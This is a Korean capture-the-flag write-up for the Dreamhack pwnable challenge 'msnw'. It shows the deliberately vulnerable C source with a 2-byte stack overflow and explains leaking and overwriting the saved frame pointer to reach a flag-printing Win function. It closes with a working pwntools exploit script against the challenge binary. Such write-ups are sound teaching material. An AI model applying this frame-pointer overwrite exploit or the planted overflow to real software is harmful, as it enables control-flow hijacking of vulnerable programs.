[Dreamhack] PWN msnw
드림핵 크리스마스 CTF에 출제된 포너블 문제다. 전체적인 환경에 대한 정보는 따로 주어지지 않았고, 바이너리, 소스코드, 더미 플레그가 제공되었다.
우선 먼저 코드를 살펴보자.
/* msnw.c
* gcc -no-pie -fno-stack-protector -mpreferred-stack-boundary=8 msnw.c -o msnw
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MEONG 0
#define NYANG 1
#define NOT_QUIT 1
#define QUIT 0
void Init() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
}
int Meong() {
char buf[0x40];
memset(buf, 0x00, 0x130);
printf("meong 🐶: ");
read(0, buf, 0x132);
if (buf[0] == 'q')
return QUIT;
return NOT_QUIT;
}
int Nyang() {
char buf[0x40];
printf("nyang 🐱: ");
printf("%s", buf);
return NOT_QUIT;
}
int Call(int animal) {
return animal == MEONG ? Meong() : Nyang();
}
void Echo() {
while (Call(MEONG)) Call(NYANG);
}
void Win() {
execl("/bin/cat", "/bin/cat", "./flag", NULL);
}
int main(void) {
Init();
Echo();
puts("nyang 🐱: goodbye!");
return 0;
}
코드를 살펴보면 Meong() 함수에서 2바이트 오버플로우가 가능한 것을 알수 있다. 따라서 SFP 변조를 통해 코드의 실행 흐름일 바꿀 수 있을것 같다. Win 함수가 실행되면 flag가 출력되는것 같다.
우선 Meong() 함수에서 \n포함 0x130 길이의 문자열을 입력하면 이 값을 그대로 Nyang()함수에서 사용하기 때문에 printf를 통해 SFP 하위 2자리 값을 얻을 수 있다.
버퍼의 크기는 0x130이고 이를 0x10으로 나누면 13이니 버퍼에 Win 함수 값으로 덮어버렸다. 그렇게 되면 그냥 버퍼에 존재하는 값만 잘 맞춰서 sfp를 조작하면 Win함수로 갈수 있다. 우선 SFP 값을 릭해서 나온 값으로 gdb를 통해 buf 문자열이 포함되는 위치를 찾는다. 버퍼에는 Win 함수 주소값이 연속적으로 들어있어 어느 직점을 찍던 맨 뒷자리가 0 아님 8로 끝나면 코드는 성공한다. 나는 buf의 맨 처음 지점을 계산해 -8을 계산해 sfp를 오버라이트 했다. sfp 공격은 공격자가 입력한 값 +8 의 위치한 코드를 실행하기 때문에 이런 점만 맞춰주면 Win 함수를 실행할 수 있다. (32비트는 +4한 부분을 실행한다. 메모리 사이즈에 따라 64비트는 8, 32비트는 4 만큼의 차이가 있다.)
from pwn import *
context.update(arch='amd64', os='linux')
#c = remote("host3.dreamhack.games", 17108);
c = process("./msnw")
#libc = ELF("./libc.so.6")
#libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
execFlag = 0x40135b
payload = p64(execFlag)
while(len(payload)!=0x130):
payload = payload+p64(execFlag)
c.recvuntil("meong 🐶: ")
pause()
c.sendline("a"*0x12f)
#print(payload)
c.recvuntil(b"\n")
leak1 = c.recv(2)
leak2 = leak1+b"\x00\x00\x00\x00\x00\x00"
print("leak : "+str(hex(u64(leak2))))
print("leak : "+str(leak2))
c.recvuntil(": ")
leak = int(hex(u64(leak2)), 16)-0x200-0x130
print(hex(leak))
#payload += b"a"*(0x130-len(p64(execFlag)))
#rsp 0x7fffffffde00
payload = payload + p64(leak-0x8)[:-6]
print(payload)
c.sendline(payload)
pause()
print(c.recvall())